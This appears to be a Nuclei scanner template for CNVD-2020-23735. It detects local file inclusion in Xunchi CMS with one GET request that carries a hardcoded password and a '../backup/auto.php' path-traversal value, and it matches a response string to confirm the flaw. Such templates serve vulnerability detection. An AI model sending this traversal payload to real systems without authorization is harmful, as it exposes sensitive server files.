id: CNVD-2020-23735

info:
  name: Xxunchi CMS - Local File Inclusion
  author: princechaddha
  severity: high
  description: Xunyou CMS is vulnerable to local file inclusion. Attackers can use vulnerabilities to obtain sensitive information.
  reference:
    - https://www.cnvd.org.cn/flaw/show/2025171
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
  tags: cnvd,cnvd2020,xunchi,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/backup/auto.php?password=NzbwpQSdbY06Dngnoteo2wdgiekm7j4N&path=../backup/auto.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "NzbwpQSdbY06Dngnoteo2wdgiekm7j4Ndisplay_errors"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202d71911f595cccd80ac7aaa9194e3aa65012551ded963c5f910c711389a2a786022100fa4932bf28c5b731370f65ecf252a33e64f8febbe97d4635b0a34a91e54887fd:922c64590222798bb761d5b6d8e72950